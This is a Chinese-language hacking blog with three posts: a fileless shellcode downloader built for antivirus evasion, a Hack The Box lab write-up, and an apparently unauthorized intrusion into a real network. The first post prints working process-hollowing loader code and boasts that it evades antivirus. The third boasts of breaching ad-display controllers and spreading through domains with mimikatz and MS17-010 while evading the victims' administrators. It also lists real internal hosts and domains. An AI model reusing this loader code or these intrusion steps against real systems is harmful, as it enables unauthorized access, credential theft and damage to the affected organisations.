无文件下载者计划 & 连载

前言 & 挖坑

项目地址:9bie / RmExecute

最近流行文件不落地,然后因为jio本又被杀的多了,辣么有什么办法快速弄出不落地免杀效果又好的东西呢?

对没错就整个shellcode的payload吧,可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。

目前设想有直接用VS2017,弄个下载者的payload,调用win32 API,然后下载DLL/EXE,直接内存加载。

这样虽然不是严格意义上的payload,但是这是最简单的方法

或者使用反射DLL方法,直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。

按照我这破水平,估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。

emmm怎么感觉有点饶,不过应该就这样吧。

研究资料

开始

首先,这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode作为开头项目,因为这个框架比较简单(我看得懂,顺带强烈推荐这个作者的文章

用C++撰写shellcode.doc

分析的十分好,简明直观的点出了然而初步检查下来之后发现,这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。

这时候我们就可以参考别的项目文件

这里我参考了PIC_Bindshell 这个项目,写的也很好,然而我已经使用上面那个项目作为入口了,就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多,只不过别人的更加优雅,人家是PEB找getprocxxxx那个api之后,直接计算hash就能得出函数在文件中的地址,之后就可以直接调用了。。当然缺点也有,就是得自己预先硬编码一个hash表,略微的麻烦,但是也至少比直接字符串搜索api地址比较好。

相关原理在这里:详解Windows API Hashing技术

PIC_Bindshell使用的是RORT32加密hash,但是人家作者给出了计算脚本,省去了我们去编写的麻烦。直接脱下来使用。

hash.png

之后就是开始计算我们第一阶段需要的WINAPI了。

基础的有msvcrt所需的几个常用功能,memcpy,memset,malloc,free这些,之后就是WinHttpOpen,WinHttpOpenRequest这些函数,全部加入我们所需的hashmaping里,很轻松的我们就有如下

hash2.png

之后,我们首先先整个下载功能

下载功能

同上,故技重施

winhttp.png

之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。

内存运行

之后,我们当然就是直接借鉴(抄)一份,内存运行的代码啦。

直接贴上代码

bool RunPortableExecutable()
{
    
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase = NULL;; //Base address of the image
    void* pImageBase = NULL;; // Pointer to the image base

    char CurrentFilePath[MAX_PATH];

    DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize

    fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        //ZeroMemory(&PI, sizeof(PI)); // Null the memory
        //ZeroMemory(&SI, sizeof(SI)); // Null the memory
        fn.fnmemset(&PI, 0, sizeof(PI));
        fn.fnmemset(&SI, 0, sizeof(SI));
        if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.                                                                                      
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                //fix randomly crash
                if (pImageBase == 0) {
                    fn.fnResumeThread(PI.hThread);
                    return 1;
                }
                else {
                    // Write the image to the process
                    fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                    for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                    {
                        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
                        fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                    }
                    fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                    // Move address of entry point to the eax register
                    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                    fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                    fn.fnResumeThread(PI.hThread); //?Start the process/call main()
                }

                return true; // Operation was successful.
            }
        }
    }
    return false;
}

怎么说,效果拔群

photo_2021-02-22_17-09-53.jpg

特地选了个比较古老并且特征比较明显的试了下某数字,完全无弹窗也无响应(当然和我没有写启动有很大的关系。

至此,咱们首要的目标就这么完成啦!

进阶 - payload加密

虽说我们的API使用了winapi hashing技术,然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密,比较推荐的是XOR加密,base64加密也不是不可以,但是base64的硬编码了一个base64表特征也十分明显,当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧?

XOR比起base64,短小高效,虽然对着明眼人可能一眼就看出来是XOR加密,但是在本来就短小的shellcode中比起一整个base64表,xor已经是十分小巧且可以接受的,我才不会说是我懒得写base64呢。

进阶2 - 反射DLL

虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了,然而在下发可执行文件的时候,一下下发一整个文件过去,可能会有大量的代码我们是暂时用不到的,并且这样可能增大了被dump分析的风险。

那么我们有没有办法,再想要的时候,获取到这部分代码片段,再下载执行呢?

有两个办法,一个是把功能全部shellcode片段化,让每个功能都成为shellcode,这样太奢侈也太麻烦了。(俺觉得就算是APT也不会这样搞)。所以另外一个技术诞生了。

那就是反射DLL执行,原理和内存执行exe差不多,只不过我们是把DLL精简成"最小PE"的模式,之后把这部分dump下来,手动修补再RVA展开执行。

//未完待续

Tags: 汇编,

htb初探

前言

昨天才开的坑,今天就开始摸鱼了。。在家里练琴练了一天。。。等等,好像练琴才是我的专业来着?不管了

于是乎,练了无聊了,就突然叫九世有没有啥靶场玩,然后九世九发来了个htb

开始

注册htb这些啥的就不说了,就是js泄露一个api然后post就行注册。

之后直接下载ovpn进他们内网直接打靶场

history.png

经理了各种奇怪的东西,我们终于连上了。

开打

直接对着目标,御剑s扫描器走起

IP:10.10.10.215

portscan:
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


webinfo:
http://academy.htb/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.215], Title[Hack The Box Academy]


WebPath:
/Images
/server-status
/login.php
/register.php
/admin.php

photo_2021-02-19_23-12-47.jpg

初步断定就开个web,好的直接访问web。。。

跳转到一个域名然后显示dns访问失败。

手动加一下hosts

10.10.10.215 academy.htb

之后就可以进web了。

QQ截图20210219231502.png

对着对着上面御剑出来的结果,先去register.php注册个用户。

然后登录,登陆后界面如下

web.png

稍微看了下,似乎是一个成熟的cms,唯一比较可疑的就是url。这时候我们先不深挖,把这个放到一边

然后我们去看admin.phpserver-status这两个

其中server-status403了,也不管,admin.php弱口令走起,admin / admin

3.png

洋文不好我也不知道进没进去,但是我发现了一个新的资产

dev-staging-01,访问了下,一眼就看出是larvaral,还是开启的debug。

la那啥来着.png

这时候,脑内直接biu出几个lar那啥我不会拼的RCE,最后对照

rce1.png
rce2.png

直接秒掉

getshell.png
用时不到十分钟

提权

摸了会儿鱼(

系统版本是
`Linux academy 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux`

看样子很新,脑内想不出啥exp

然后mysql权限也不高,查看/home的时候,发现了

home.jpg

结合后台登陆后的

Complete initial set of modules (cry0l1t3 / mrb3n)

这时候基本已经猜到了攻击流程。
liucheng.png

虽然不知道是否正确,但是按照这个思路走走看

数据库tmd一读(然而其实是在web目录下的.env的配置文件读到密码)。ssh就这么一登(撞了好几个用户)。

哟西,上去了,然而和预想有点偏差。。
rua.png
这时候我才发现分为user flag和root flag。那是我太天真了。

那接下来就是继续提权去拿root flag了。

接下来就是漫长的提权之旅。。

因为我的jio本不知道为啥跑不起来。。于是乎我就先手动看看,想着之后再跑自动收集jio本也就是

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

如何提权?高权进程SUID自运行脚本日志以及文件劫持等等。。。

其中,我发现tmp下有奇怪的tmp文件,里面有composer.json文件。。然后还不放你访问,一看用户是mrb3n。

这个用户再passwd中id比我们前一号,并且之前web页面也出现这个用户,所以基本断定要先登录这个用户了。。

正在我一筹莫展想着咋过去时,九世出了个好消息

hxx.png

成功用jio本收集到了mrb3n用户的密码

然后还有提示

sudo.jpg

基本提权方式就是,https://gtfobins.github.io/gtfobins/composer/

finish.png

自此基本结束

双双和九世拿着flag把家还,呸,各回各家,各找各妈

总结

靶场还挺好玩,没有想象中的无聊,但是也没有想象中的刺激。

总之就这么多了,先溜了。

Tags: none

弱口令惨案

开始

闲着无聊,在fofa上搜些奇怪的东西完,然后一个奇怪的东西引起了我的注意
QQ截图20201120181450.png
重点是这次是一连好几个一起出现,我想着可能有好玩的了。就开始随手测试了起来

弱口令

一连七八个站,随手试试admin/admin,admin/123456这类密码,在我打开第二个站的时候成功进去了,界面是这样的
2.png
惯例,试图getshell,在节目编辑这里,我看到了一些奇怪的东西
3.png
这个jsp就十分的灵性,直接点击编辑,修改jsp代码,光速getshell
4.png

挖洞

getshell下来了,那么肯定垂涎其他站啊,毕竟好多站都是这个cms,而且里面还有这么多台机器。首先进数据库看了下用户。
很好,sha1加密,解得开的登不上,解不开的。。。那就解不开了
5.png
并没有什么通用密码,而且访问所有jsp都会跳转到首页,没办法,只好先去翻配置文件
6.png
直接暴露了个上传接口,lucky,二话不说打开看看
photo_2020-11-20_18-29-42.jpg
可以访问,不怕你安全性高,就怕你全部路由都需要验证。
立刻下载源码拉进ld-gui去审计看看
upload.jpg
爷傻了,任意文件上传,只要带mp3在文件名任意位置就能上传任意格式的文件。
这时候我们再回到配置文件
7.png
只设置了jsp是要跳转。。然而你忘了jspx。。
于是乎
8.png
好的这套的控制器基本就全都拿下来了

反日小鸡

既然控制器都解决了,辣么接下来肯定是想办法日到小鸡了啊,毕竟这都是广告控制牌。十分的好玩。机器数量还不是一般的多
9.png
首先我们先看远端管理功能,发现了有些什么打开vnc/teamview这些功能
10.png
跟进源码发现
11.png
并没有什么软用,这时候我们把目标转向广告分发功能
image_2020-11-20_03-56-19.png
发现了下载这个关键词,我们大胆猜测一下,虽然这个预览是本地显示jsp路径的,按照逻辑上来讲应该是远程访问这个地址然后加载广告,那么有了这个下载功能会不会是本地加载?
二话不说打个写个html下去
image_2020-11-20_03-56-45.png
远程查看结果人家真的显示了html,辣么二话不说,打个xss下去
12.png
结果人家真tmd是本地jsp环境加载的。
直接写个反弹jsp的shell
fantanshell.png
上线成功
13.png
直接修cs里去

小鸡渗透--内网漫游

本来这时候应该先审计小鸡源码的然后先把小鸡都拿了,然鹅我看到了这玩意有域,就先搞起来了
yukong.png
先mimiktz读凭据,然后用cs自带的扫描器扫内网,目前手头只有一个凭据
pinju.png
然后用这个凭据批量登录
psexec.png
最后发现,只有同计算机名的机器上线了
tongwork.png
进去看了下似乎都是广告机
之后,对着各个Ladon和各种工具走起,发现了10,11,40,50,150这些内网网段,初步计算下来,估计至少有500台。
使用MS17010先跨网段耍一耍。
无标题.png
随便日了几台
无标题2.png
发现这似乎是有规律的,都是[a-z][a-z]mgr01开头的密码,这还不立刻SmbScan,然而手头机器拉跨,而且半夜机器会自动下线就很烦于是乎我就关机了。
然后第二天一打开
photo_2020-11-24_02-13-47.jpg

我淦,当场抓获,管理员tmd在杀毒。上了个MSE,虽然很好过,但是也对我们造成了不小麻烦。因为前几天都是用cs的小鸡直接打的估计有写管理机进得去但是正好被杀了于是乎被管理发现了。十分的烦。

然后我花了点时间好不容易整出个可持久化的免杀工具,也就是这个:https://github.com/9bie/shellcode

然后等我万事俱备再上线一看
photo_2020-11-24_02-16-33.jpg
tmd被管理员降权了,可恶。
photo_2020-11-24_02-17-03.jpg
wdnmd,不过最后好在隔壁217机器没被降权,继续用终端机下发了个马过去
photo_2020-11-24_02-18-02.jpg
然后机器又关机了
第二题,经过几天研究,在那么多ms17010中,我们发现除了10.8是08,其他都是win7并且都在域内后面带.LOCAL,于是乎我们怀疑10.8是关键服务器,然而除了第一次打进去之后掉线之外,这台服务器就再也没被我们打进去过。

九世, [28.11.20 02:10]
192.168.10.8 MS17-010 SHAREPINT  [Win 2008 R2 Standard 7600]
192.168.20.147 MS17-010 KS16POS47 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.119 MS17-010 KS16POS19 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.117 MS17-010 KS16POS17 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.20.110 MS17-010 KS16POS10 kaohsiungtw.local [Win Embedded Standard 7601 SP 1]
192.168.40.51 MS17-010 TCKIOSK01 tigercitytw.local [Win 10 Pro 10586]
192.168.40.52 MS17-010 TCKIOSK02 tigercitytw.local [Win 10 Pro 10586]
192.168.40.54 MS17-010 TCKIOSK04 tigercitytw.local [Win 10 Pro 10586]
192.168.40.102 MS17-010 TT10POS02 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.104 MS17-010 TT10POS04 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.106 MS17-010 TT10POS06 tigercitytw.local [Win Embedded Standard 7601 SP 1]
192.168.40.211 MS17-010 TCPLASMA01 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.40.214 MS17-010 TCPLASMA04 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.40.215 MS17-010 TCPLASMA05 tigercitytw.local [Win 7 Professional 7601 SP 1]
192.168.50.137 MS17-010 TN9POS37 tainantw.local [Win Embedded Standard 7601 SP 1]
192.168.50.136 MS17-010 TN9POS36 tainantw.local [Win Embedded Standard 7601 SP 1]
192.168.70.114 MS17-010 HS11POS14 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.112 MS17-010 HS11POS12 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.106 MS17-010 HS11POS06 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.104 MS17-010 HS11POS04 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.107 MS17-010 HS11POS07 hsinchutw.local [Win Embedded Standard 7601 SP 1]
192.168.70.235 MS17-010 MW1302T-728-PC  [??渀?漀?猀???倀?漀昀攀猀猀?漀渀愀氀??? ???攀?瘀?挀攀?倀愀挀欀??]
192.168.70.215 MS17-010 HSPLASMA05 hsinchutw.local [Win 7 Professional 7601 SP 1]
192.168.80.107 MS17-010 QSPOS07 QSQUARETW.LOCAL [Win Embedded Standard 7601 SP 1]
192.168.80.103 MS17-010 QSPOS03 QSQUARETW.LOCAL [Win Embedded Standard 7601 SP 1]
192.168.90.216 MS17-010 BQISHOW01  [Win 8.1 Pro 9600]
192.168.100.170 MS17-010 BCBIONB01 BigCitytw.local [Win 7 Professional 7601 SP 1]
192.168.100.144 MS17-010 BCPOS44 BigCitytw.local [Win Embedded Standard 7601 SP 1]
192.168.100.146 MS17-010 BCPOS46 BigCitytw.local [Win Embedded Standard 7601 SP 1]
192.168.110.128 MS17-010 TZPOS28 TaiZhongtw.local [Win Embedded Standard 7601 SP 1]
192.168.110.137 MS17-010 TZPOS37 TaiZhongtw.local [Win Embedded Standard 7601 SP 1]
192.168.120.117 MS17-010 NFPOS17 NanFangtw.local [Win Embedded Standard 7601 SP 1]
192.168.120.235 MS17-010 MW1302T-7A-PC  [Win 7 Professional 7601 SP 1]

一度怀疑是否是pipe管道被我们破坏了,甚至试图想用bluekeep(0708)把这服务器打蓝屏重启然后再用ms17-010进去。

直到今天终于又把这个打进去了。

photo_2020-11-28_04-06-55.jpg

这时候我们光速mimikatz和dumphash
2.jpg
收获凭据无数。这时候我们一看,administrator密码是P@ssword,典型弱口令。

我人傻了,我再也不小瞧爆破了,可以肯定的是,这个密码绝对在我的字典里,以前我非常小瞧爆破和弱口令,觉得这么傻的东西肯定不会有人设置,就算有人设置我也肯定遇不到,然而今天还是遇到了,下次绝对实现跑弱口令试试了,就因为这耽搁了好久。

既然关键服务器拿下了,那么其他就简单了,批量撞密码走起
piliang.jpg
好,登录
35.jpg
40.jpg
还有kvm

在桌面发现密码,以及mimikatz又抓出很多密码
36.jpg
37.jpg

并且这个用户直接是域管

用这个密码直接登录域控。
yukong.jpg
好,这个段的域控拿下了,抓了密码,基本都一样,最后怀疑所有域控密码都一样,随便试了几个,确实是这样。

同时看了下,这个域内其他机器,都是管理控制台中的其他广告机以及其他设备

所以可以宣告第二阶段任务暂时结束。内网基本可以任意漫游了。接下来九是第三阶段摸清拓扑和一些域外机器了,感觉那些机器肯定更有意思。

最后根据域内机器dns信息,我找到了这个段的官网

结合官网以及机器名来看,我们说不定能偷到电影或者在线陪看也说不定,

所以下个目标基本就是NAS和摄像头拉

摸清拓扑

因为现在是大半夜,刺激点,直接上去nmap走16段走起
QQ截图20201203212946.png
在nmap的同时,我们用nbtscan和netview手头的信息,先把10段所有的域控拿了,10段非常有意思,他们里面不是一个域,而是很多个域的主机都在一起。
根据主机名,我们直接把目标盯上10.34这台
QQ截图20201204160448.png
同时nmap扫描结果也出来了
QQ截图20201204160553.png
这台目标已经是在我们的拿下的域控里面,所以利用域管的凭据是可以直接登录的。然而没开3389,现在依旧是传统艺能psexec过去传马?
然而仔细观看发现,域内99%的windows主机都有运行开启6129,也就是damewaremr这款远程控制软件,我们直接用这台机器登录。
上去二话不说,直接找数据库配置文件
QQ截图20201204161111.png
先进本机数据库,捞东西
photo_2020-12-04_16-11-51.jpg
2.jpg
得到了大致的人员职称以及大致拓扑图。根据图二和nmap结果可以看出,我们的入口点是从150段进来的,然后除了11段之外,其他网段数据都和11段结构十分类似,而150段又被我们扫烂了,所以直接把目标瞄准11段
顺带捞一下字典
photo_2020-12-01_01-11-09.jpg
虽然可能没什么用但是先存了吧。

之后直接登录11段内的机器,根据之前捞到的职位表,我们先进一个
zixun.png
根据用户名,我们不难找到他们的机器
11.png
照旧,先探索他们所在的域控。域控名称为VIESHOW。利用其他域控的密码试图登录域管,登录成功,然后用dw直接登录他们的机器
dw.png
登录成功,之后直接利用RDP劫持切换用户
ok.jpg
看样子还似乎是个笔记本

见鬼,你们笔记本都丢公司不带走的么?

之后直接捞文件
zhuo.jpg
zuopu.jpg
完整拓扑到手
photo_2020-12-04_17-05-16.jpg
再根据之前保存的字典跑一下这个表,解开了

最后根据chrome上保存的页面和收藏的标签
oa.jpg
和outlook里面的记录
mail.jpg

我们知道了OA主机和主要交流方式(outlook)

结语

最后,我们基本就完全拿下了这个内网。回顾下整个攻击,可以发现ms17是真的好用,就靠这个ms17盘活全部局面,不过站在事后马后炮一下,可以发现,我过度的轻视弱口令对于smb的探测了,因为可能我个人实在不相信会用弱口令作为系统服务器密码的,只不过没想到真的有,如果使用早点使用弱口令扫描器也能盘活整个局面不至于在这地方卡半天。

这次能日下这个归根结底运气是非常大一部分,从fofa随便搜到cms批量再到随便选中一个就发现这个内网再到正好有一台08的机器有ms17,可谓是渗透全靠缘分,有时候缘分到了就日进去了(狗头。。。

最后直接走人,日穿完也就没啥意思了,溜了溜了

Tags: 渗透